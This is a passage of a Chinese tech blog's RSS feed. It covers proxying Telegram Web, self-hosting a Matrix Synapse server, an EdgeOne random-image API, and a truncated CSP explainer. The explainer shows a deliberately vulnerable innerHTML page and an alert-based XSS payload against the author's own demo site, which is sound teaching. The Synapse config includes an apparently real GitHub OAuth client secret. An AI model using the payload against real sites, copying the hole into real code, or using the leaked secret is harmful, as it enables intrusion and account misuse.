  background-color: rgba(0, 0, 0, 0.4);
  font-size: 15px;
}

.immersive-translate-modal-content {
  background-color: #fefefe;
  margin: 10% auto;
  padding: 40px 24px 24px;
  border-radius: 12px;
  width: 350px;
  font-family: system-ui, -apple-system, &quot;Segoe UI&quot;, &quot;Roboto&quot;, &quot;Ubuntu&quot;,
    &quot;Cantarell&quot;, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;,
    &quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;;
  position: relative;
}

@media screen and (max-width: 768px) {
  .immersive-translate-modal-content {
    margin: 50% auto !important;
  }
}

.immersive-translate-modal .immersive-translate-modal-content-in-input {
  max-width: 500px;
}
.immersive-translate-modal-content-in-input .immersive-translate-modal-body {
  text-align: left;
  max-height: unset;
}

.immersive-translate-modal-title {
  text-align: center;
  font-size: 16px;
  font-weight: 700;
  color: #333333;
}

.immersive-translate-modal-body {
  text-align: center;
  font-size: 14px;
  font-weight: 400;
  color: #333333;
  margin-top: 24px;
}

@media screen and (max-width: 768px) {
  .immersive-translate-modal-body {
    max-height: 250px;
    overflow-y: auto;
  }
}

.immersive-translate-close {
  color: #666666;
  position: absolute;
  right: 16px;
  top: 16px;
  font-size: 20px;
  font-weight: bold;
}

.immersive-translate-close:hover,
.immersive-translate-close:focus {
  text-decoration: none;
  cursor: pointer;
}

.immersive-translate-modal-footer {
  display: flex;
  justify-content: center;
  flex-wrap: wrap;
  margin-top: 24px;
}

.immersive-translate-btn {
  width: fit-content;
  color: #fff;
  background-color: #ea4c89;
  border: none;
  font-size: 14px;
  margin: 0 8px;
  padding: 9px 30px;
  border-radius: 5px;
  display: flex;
  align-items: center;
  justify-content: center;
  cursor: pointer;
  transition: background-color 0.3s ease;
}

.immersive-translate-btn-container {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 8px;
}

.immersive-translate-btn:hover {
  background-color: #f082ac;
}
.immersive-translate-btn:disabled {
  opacity: 0.6;
  cursor: not-allowed;
}
.immersive-translate-btn:disabled:hover {
  background-color: #ea4c89;
}

.immersive-translate-link-btn {
  background-color: transparent;
  color: #ea4c89;
  border: none;
  cursor: pointer;
  height: 30px;
  line-height: 30px;
}

.immersive-translate-cancel-btn {
  /* gray color */
  background-color: rgb(89, 107, 120);
}

.immersive-translate-cancel-btn:hover {
  background-color: hsl(205, 20%, 32%);
}

.immersive-translate-action-btn {
  background-color: transparent;
  color: #ea4c89;
  border: 1px solid #ea4c89;
}

.immersive-translate-btn svg {
  margin-right: 5px;
}

.immersive-translate-link {
  cursor: pointer;
  user-select: none;
  -webkit-user-drag: none;
  text-decoration: none;
  color: #ea4c89;
  -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
}

.immersive-translate-primary-link {
  cursor: pointer;
  user-select: none;
  -webkit-user-drag: none;
  text-decoration: none;
  color: #ea4c89;
  -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
}

.immersive-translate-modal input[type=&quot;radio&quot;] {
  margin: 0 6px;
  cursor: pointer;
}

.immersive-translate-modal label {
  cursor: pointer;
}

.immersive-translate-close-action {
  position: absolute;
  top: 2px;
  right: 0px;
  cursor: pointer;
}

.imt-image-status {
  background-color: rgba(0, 0, 0, 0.5) !important;
  display: flex !important;
  flex-direction: column !important;
  align-items: center !important;
  justify-content: center !important;
  border-radius: 16px !important;
}
.imt-image-status img,
.imt-image-status svg,
.imt-img-loading {
  width: 28px !important;
  height: 28px !important;
  margin: 0 0 8px 0 !important;
  min-height: 28px !important;
  min-width: 28px !important;
  position: relative !important;
}
.imt-img-loading {
  background-image: url(&quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=&quot;);
  background-size: 28px 28px;
  animation: image-loading-rotate 1s linear infinite !important;
}

.imt-image-status span {
  color: var(--bg-2, #fff) !important;
  font-size: 14px !important;
  line-height: 14px !important;
  font-weight: 500 !important;
  font-family: &quot;PingFang SC&quot;, Arial, sans-serif !important;
}

@keyframes image-loading-rotate {
  from {
    transform: rotate(360deg);
  }
  to {
    transform: rotate(0deg);
  }
}
&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
	&amp;lt;h1&amp;gt;Welcome to nginx!&amp;lt;/h1&amp;gt;
	&amp;lt;p&amp;gt;If you see this page, the nginx web server is successfully installed and
	working. Further configuration is required.&amp;lt;/p&amp;gt;
	
	&amp;lt;p&amp;gt;For online documentation and support please refer to
	&amp;lt;a href=&quot;http://nginx.org/&quot;&amp;gt;nginx.org&amp;lt;/a&amp;gt;.&amp;lt;br&amp;gt;
	Commercial support is available at
	&amp;lt;a href=&quot;http://nginx.com/&quot;&amp;gt;nginx.com&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;
	
	&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Thank you for using nginx.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
	
	
	&amp;lt;div id=&quot;screenity-ui&quot;&amp;gt;&amp;lt;div class=&quot;screenity-shadow-dom&quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&quot;screenity-scrollbar&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;screenity-scrollbar&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;
			#screenity-ui, #screenity-ui div {
				background-color: unset;
				padding: unset;
				width: unset;
				box-shadow: unset;
				display: unset;
				margin: unset;
				border-radius: unset;
			}
			.screenity-outline {
				position: absolute;
				z-index: 99999999999;
				border: 2px solid #3080F8;
				outline-offset: -2px;
				pointer-events: none;
				border-radius: 5px!important;
			}
		.screenity-blur {
			filter: blur(10px)!important;
		}
			.screenity-shadow-dom * {
				transition: unset;
			}
			.screenity-shadow-dom .TooltipContent {
  border-radius: 30px!important;
	background-color: #29292F!important;
  padding: 10px 15px!important;
  font-size: 12px;
	margin-bottom: 10px!important;
	bottom: 100px;
  line-height: 1;
	font-family: &apos;Satoshi-Medium&apos;, sans-serif;
	z-index: 99999999!important;
  color: #FFF;
  box-shadow: hsl(206 22% 7% / 35%) 0px 10px 38px -10px, hsl(206 22% 7% / 20%) 0px 10px 20px -15px!important;
  user-select: none;
	transition: opacity 0.3 ease-in-out;
  will-change: transform, opacity;
	animation-duration: 400ms;
  animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
  will-change: transform, opacity;
}

.screenity-shadow-dom .hide-tooltip {
	display: none!important;
}

.screenity-shadow-dom .tooltip-tall {
	margin-bottom: 20px;
}

.screenity-shadow-dom .tooltip-small {
	margin-bottom: 5px;
}

.screenity-shadow-dom .TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;top&apos;] {
	animation-name: slideDownAndFade;
}
.screenity-shadow-dom .TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;right&apos;] {
  animation-name: slideLeftAndFade;
}
.screenity-shadow-dom.TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;bottom&apos;] {
  animation-name: slideUpAndFade;
}
.screenity-shadow-dom.TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;left&apos;] {
  animation-name: slideRightAndFade;
}

@keyframes slideUpAndFade {
  from {
    opacity: 0;
    transform: translateY(2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideRightAndFade {
  from {
    opacity: 0;
    transform: translateX(-2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

@keyframes slideDownAndFade {
  from {
    opacity: 0;
    transform: translateY(-2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideLeftAndFade {
  from {
    opacity: 0;
    transform: translateX(2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

#screenity-ui [data-radix-popper-content-wrapper] { z-index: 999999999999!important; } 

.screenity-shadow-dom .CanvasContainer {
	position: fixed;
	pointer-events: all!important;
	top: 0px!important;
	left: 0px!important;
	z-index: 99999999999!important;
}
.screenity-shadow-dom .canvas {
	position: fixed;
	top: 0px!important;
	left: 0px!important;
	z-index: 99999999999!important;
	background: transparent!important;
}
.screenity-shadow-dom .canvas-container {
	top: 0px!important;
	left: 0px!important;
	z-index: 99999999999;
	position: fixed!important;
	background: transparent!important;
}

.ScreenityDropdownMenuContent {
	z-index: 99999999999!important;
  min-width: 200px;
  background-color: white;
  margin-top: 4px;
  margin-right: 8px;
  padding-top: 12px;
  padding-bottom: 12px;
  border-radius: 15px;
  z-index: 99999;
  font-family: &apos;Satoshi-Medium&apos;, sans-serif;
  color: #29292F;
  box-shadow: 0px 10px 38px -10px rgba(22, 23, 24, 0.35),
    0px 10px 20px -15px rgba(22, 23, 24, 0.2);
  animation-duration: 400ms;
  animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
  will-change: transform, opacity;
}
.ScreenityDropdownMenuContent[data-side=&quot;top&quot;] {
  animation-name: slideDownAndFade;
}
.ScreenityDropdownMenuContent[data-side=&quot;right&quot;] {
  animation-name: slideLeftAndFade;
}
.ScreenityDropdownMenuContent[data-side=&quot;bottom&quot;] {
  animation-name: slideUpAndFade;
}
.ScreenityDropdownMenuContent[data-side=&quot;left&quot;] {
  animation-name: slideRightAndFade;
}
.ScreenityItemIndicator {
  position: absolute;
  right: 12px; 
  width: 18px;
  height: 18px;
  background: #3080F8;
  border-radius: 50%;
  display: inline-flex;
  align-items: center;
  justify-content: center;
}
.ScreenityDropdownMenuItem,
.ScreenityDropdownMenuRadioItem {
  font-size: 14px;
  line-height: 1;
  display: flex;
  align-items: center;
  height: 40px;
  padding: 0 5px;
  position: relative;
  padding-left: 22px;
  padding-right: 22px;
  user-select: none;
  outline: none;
}
.ScreenityDropdownMenuItem:hover {
    background-color: #F6F7FB !important;
    cursor: pointer;
}
.ScreenityDropdownMenuItem[data-disabled] {
  color: #6E7684; !important;
  cursor: not-allowed;
  background-color: #F6F7FB !important;
}



@keyframes slideUpAndFade {
  from {
    opacity: 0;
    transform: translateY(2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideRightAndFade {
  from {
    opacity: 0;
    transform: translateX(-2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

@keyframes slideDownAndFade {
  from {
    opacity: 0;
    transform: translateY(-2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideLeftAndFade {
  from {
    opacity: 0;
    transform: translateX(2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;div id=&quot;immersive-translate-popup&quot; style=&quot;all: initial&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-18-30-40-75bf069f14b199651db36b1bda015bc2_720.B4s3ZsKk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;TG Web采用前后端分离&lt;/p&gt;
&lt;p&gt;前端为静态资产，可以直接部署到Cloudflare Page&lt;/p&gt;
&lt;p&gt;后端有高达10个API，反代一下即可&lt;/p&gt;
&lt;p&gt;然后将前端请求的 &lt;code&gt;.web.telegram.org&lt;/code&gt;  改为你的域名即可&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以 TG Web K举例子&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;TG 后端API共有10个，分别为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pluto.web.telegram.org
venus.web.telegram.org
aurora.web.telegram.org
vesta.web.telegram.org
flora.web.telegram.org
pluto-1.web.telegram.org
venus-1.web.telegram.org
aurora-1.web.telegram.org
vesta-1.web.telegram.org
flora-1.web.telegram.org
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假如我的域名是 &lt;code&gt;072103.xyz&lt;/code&gt; ，则为 &lt;code&gt;pluto.web.072103.xyz&lt;/code&gt; 。其他的以此类推&lt;/p&gt;
&lt;p&gt;Fork 仓库： &lt;a href=&quot;https://github.com/morethanwords/tweb&quot;&gt;morethanwords/tweb: Telegram Web K, GPL v3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;全局搜索 &lt;code&gt;.web.telegram.org&lt;/code&gt; 替换为 &lt;code&gt;.web.072103.xyz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将该仓库部署到Cloudflare Page，构建命令为 &lt;code&gt;pnpm build&lt;/code&gt; ，构建输出目录为 &lt;code&gt;public&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;成功&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-18-21-46-0c8fc3ac93604c65401132aaa59c803d_720.OeLThy2q.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>QQ微信不够私密？自建自己的聊天服务器！</title><link>https://2x.nz/posts/self-host-matrix/</link><guid isPermaLink="true">https://2x.nz/posts/self-host-matrix/</guid><description>通过自建Synapse，用户可以通过Element等软件来直接在你的服务器上聊天</description><pubDate>Fri, 01 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前置环境准备&lt;/h1&gt;
&lt;p&gt;由于Synapse、Matrix（下文简称”矩阵“）手搓部署非常麻烦。所以请安装 &lt;strong&gt;1Panel面板&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;部署PostgreSQL&lt;/h1&gt;
&lt;p&gt;安装并创建名为 &lt;code&gt;synapse&lt;/code&gt; 用户名也为 &lt;code&gt;synapse&lt;/code&gt; 的数据库&lt;/p&gt;
&lt;p&gt;前往应用商店安装 &lt;code&gt;PGAdmin4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-24-58-image.DmkSIoL_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着点击添加服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-27-10-image.B4nvc0fM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;相关信息可以在连接信息看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-27-53-image.Bj_YEcpX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;删除&lt;/strong&gt;刚刚创建的 &lt;code&gt;synapse&lt;/code&gt; 这个数据库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-28-49-image.B0Gv0AKO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重新创建同名数据库&lt;/p&gt;
&lt;p&gt;设置所有者（即用户名）为 &lt;code&gt;synapse&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-29-36-image.C6F11jkQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将 &lt;code&gt;排序规则&lt;/code&gt; 和 &lt;code&gt;字符类型&lt;/code&gt; 都改为 &lt;code&gt;C&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-30-34-image._ZgEdqvT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;部署Synapse&lt;/h1&gt;
&lt;p&gt;首先参照1Panel官方的教程去创建一个存储卷，否则安装 &lt;code&gt;synapse&lt;/code&gt; 会失败&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-32-00-image.ChqHG6wR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装 &lt;code&gt;synapse&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;导航到文件管理： &lt;code&gt;/var/lib/docker/volumes/synapse-data/_data&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;你应该可以看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-02-17-33-50-image.DqC6pR8b.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;homeserver.yaml&lt;/code&gt; ，并按需配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server_name: &quot;家服务器名称，比如：m.2x.nz&quot;
public_baseurl: &quot;公共URL，比如：https://m.2x.nz&quot;
pid_file: /data/homeserver.pid

serve_server_wellknown: true # 启用联邦

listeners:
  - port: 8008
    tls: false
    type: http
    x_forwarded: true
    resources:
      - names: [client, federation]
        compress: false
    response_headers:
      Access-Control-Allow-Origin: &quot;https://app.element.io&quot;
      Access-Control-Allow-Methods: &quot;GET, POST, OPTIONS&quot;
      Access-Control-Allow-Headers: &quot;Content-Type, Authorization&quot;

database:
  name: psycopg2
  args:
    user: synapse
    password: 你的数据库密码
    dbname: synapse
    host: 你的PostgreSQL的容器名称
    cp_min: 5
    cp_max: 10

log_config: &quot;/data/my.matrix.host.log.config&quot;
media_store_path: /data/media_store

registration_shared_secret: &quot;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置&quot;
macaroon_secret_key: &quot;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置&quot;
form_secret: &quot;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置&quot;
signing_key_path: &quot;/data/my.matrix.host.signing.key&quot;

report_stats: false

trusted_key_servers:
  - server_name: &quot;matrix.org&quot;

# Github OAuth
oidc_providers:
  - idp_id: github
    idp_name: Github
    idp_brand: &quot;github&quot;  # optional: styling hint for clients
    discover: false
    issuer: &quot;https://github.com/&quot;
    client_id: &quot;Ov23liaHxxYHybb0jRoZ&quot; # TO BE FILLED
    client_secret: &quot;e937f214ea7c132924ab34c76d83f4b7099d696e&quot; # TO BE FILLED
    authorization_endpoint: &quot;https://github.com/login/oauth/authorize&quot;
    token_endpoint: &quot;https://github.com/login/oauth/access_token&quot;
    userinfo_endpoint: &quot;https://api.github.com/user&quot;
    scopes: [&quot;read:user&quot;]
    user_mapping_provider:
      config:
        subject_claim: &quot;id&quot;
        localpart_template: &quot;{{ user.login }}&quot;
        display_name_template: &quot;{{ user.name }}&quot;

### ✅ 邮件配置（确保SMTP验证正常）
email:
  smtp_host: &quot;你的SMTP发件服务器&quot;
  smtp_port: 465
  smtp_user: &quot;你的发件邮箱&quot;
  smtp_pass: &quot;你的SMTP密码&quot;
  force_tls: true
  notif_from: &quot;Matrix &amp;lt;你的发件邮箱&amp;gt;&quot;
  validation_token_lifetime: &quot;5m&quot;

### ✅ 启用注册 + 邮箱验证 + 密码找回
enable_registration: true
registrations_require_3pid:
  - email
registration_requires_token: false   # 确保不强制邀请码注册（默认关闭）
password_config:
  enabled: true

### ✅ 允许邮箱登录
login_via_existing_session:
  enabled: true

rc_registration:
  per_second: 0.003  # 每秒允许的注册请求（例如：0.003 ≈ 每5分钟一次）
  burst_count: 1     # 同一IP地址的最大注册突发数

  # 消息发送速率限制
rc_message:
  per_second: 0.2    # 每秒允许发送的消息数
  burst_count: 10    # 突发消息缓冲区大小

# 房间加入速率限制
rc_joins:
  local:
    per_second: 0.1   # 本地用户加入房间的速率
    burst_count: 10
  remote:
    per_second: 0.01  # 远程用户加入房间的速率
    burst_count: 10

# 媒体保留设置
media_retention:
  # 本地媒体文件的保留时间
  local_media_lifetime: 90d
  
  # 远程媒体文件的保留时间（来自其他homeserver的媒体）
  remote_media_lifetime: 14d

# 删除陈旧设备的时间
delete_stale_devices_after: 1y

auto_join_rooms:
  - &quot;#XXX:你的家服务器URL&quot; # 需要自动加入的房间
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按需配置，更多高级配置参阅： &lt;a href=&quot;https://element-hq.github.io/synapse/latest/usage/configuration/homeserver_sample_config.html&quot;&gt;Homeserver Sample Config File - Synapse&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;创建管理员账号&lt;/h1&gt;
&lt;p&gt;连接上容器的终端然后输入这串命令创建管理员账号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_new_matrix_user  http://localhost:8008 -c /data/homeserver.yaml  -a -u 管理员用户名 -p 密码
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;开始聊天&lt;/h1&gt;
&lt;p&gt;前往 https://app.element.io 将家服务器改为你的（必须为HTTPS）&lt;/p&gt;
&lt;p&gt;通过刚刚创建的管理员账号登录&lt;/p&gt;
&lt;p&gt;其他人可以通过邮箱注册&lt;/p&gt;
</content:encoded></item><item><title>对标CF Worker？拿EdgeOne边缘函数做一个随机图API！</title><link>https://2x.nz/posts/eo-function/</link><guid isPermaLink="true">https://2x.nz/posts/eo-function/</guid><description>很早就知道EdgeOne边缘函数，一直都没来得及体验，今天上手后发现它真的很强大</description><pubDate>Thu, 31 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/afoim/EdgeOne_Function_PicAPI&quot;&gt;afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;复制 &lt;code&gt;worker.js&lt;/code&gt; 代码&lt;/p&gt;
&lt;p&gt;部署到EdgeOne边缘函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/4274a5c6-c3d5-468b-8c98-d515a0a22762.VXp1CtKv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将代码开头的 &lt;code&gt;R2_CONFIG&lt;/code&gt; 设为你自己的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var R2_CONFIG = {
  region: &apos;auto&apos;,
  service: &apos;s3&apos;,
  accountId: &apos;&apos;,
  accessKeyId: &apos;&apos;,
  secretAccessKey: &apos;&apos;,
  bucketName: &apos;&apos;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置你的R2，将横屏随机图放到 &lt;code&gt;ri/h&lt;/code&gt; 和 &lt;code&gt;ri/v&lt;/code&gt; 。保证跟代码中的路径一样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    // 根据路径确定前缀
    var prefix = &apos;&apos;;
    if (pathname === &apos;/h&apos;) {
      prefix = &apos;ri/h/&apos;;
    } else if (pathname === &apos;/v&apos;) {
      prefix = &apos;ri/v/&apos;;
    } else if (pathname === &apos;/&apos;) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;/h&lt;/code&gt; 则展示一张横屏随机图，访问 &lt;code&gt;/v&lt;/code&gt; 则展示一张竖屏随机图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fe7629b7-2acd-4e84-bd0c-d66ee7a54528.D4BJTay1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果需要绑定域名请设置触发规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/33d931d4-e7cd-4d5d-afd8-85b787524391.D3MK5lqw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;注意&lt;/h1&gt;
&lt;p&gt;边缘函数每月有300万次的请求数限制，暂不知道超出是否扣费&lt;/p&gt;
</content:encoded></item><item><title>CSP标头是什么？为什么有人能神不知鬼不觉地盗走你的信息？</title><link>https://2x.nz/posts/csp/</link><guid isPermaLink="true">https://2x.nz/posts/csp/</guid><description>CSP 是内容安全策略，它可以限制恶意脚本执行，从而降低 XSS 攻击带来的信息泄露风险</description><pubDate>Wed, 30 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;举个例子吧！&lt;/h1&gt;
&lt;p&gt;这是一个无CSP标头的网站： &lt;a href=&quot;https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&quot;&gt;点我&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不出意外，你的浏览器会弹出一个提示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/b279f283-b5d2-4dbd-955e-5b3bba6ff656.CSMg832r.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;这是如何做到的？&lt;/h1&gt;
&lt;p&gt;这个项目开源在 &lt;a href=&quot;https://github.com/afoim/none_csp_demo&quot;&gt;afoim/none_csp_demo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;HTML内容为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
  &amp;lt;title&amp;gt;欢迎页面&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;h1&amp;gt;欢迎&amp;lt;/h1&amp;gt;
  &amp;lt;p&amp;gt;你好，&amp;lt;span id=&quot;name&quot;&amp;gt;&amp;lt;/span&amp;gt;！&amp;lt;/p&amp;gt;

  &amp;lt;script&amp;gt;
    // 从 URL 参数读取用户名并显示
    const params = new URLSearchParams(location.search);
    const name = params.get(&quot;name&quot;);
    document.getElementById(&quot;name&quot;).innerHTML = name;
  &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个网站非常简单：页面会通过查询参数 &lt;code&gt;?name=xxx&lt;/code&gt; 动态显示用户名。&lt;/p&gt;
&lt;p&gt;比如你输入 https://none-csp-demo.pages.dev/nocsp?name=AcoFork 网页就会显示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/366d0934-9c3a-4196-a7ae-1c230c916daf.BXB9G31D.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从源码可以看出，这个网页是通过 &lt;code&gt;innerHTML&lt;/code&gt; 直接插入文本内容的。&lt;/p&gt;
&lt;p&gt;这种写法没有做任何安全处理，会把传入内容直接拼接进 HTML。&lt;/p&gt;
&lt;p&gt;那么...如果我们给网站这样一个 &lt;code&gt;name&lt;/code&gt; 呢？&lt;/p&gt;
&lt;p&gt;尝试输入&lt;/p&gt;
&lt;p&gt;https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&lt;/p&gt;
&lt;p&gt;你会发现网站并没有打印出任何用户名，而且浏览器还弹出了一个奇怪的窗口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/e86cfeed-a9d4-402b-aed0-fc3624f3e925.Ci8wKJbn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们F12查看当前网页的源代码&lt;/p&gt;
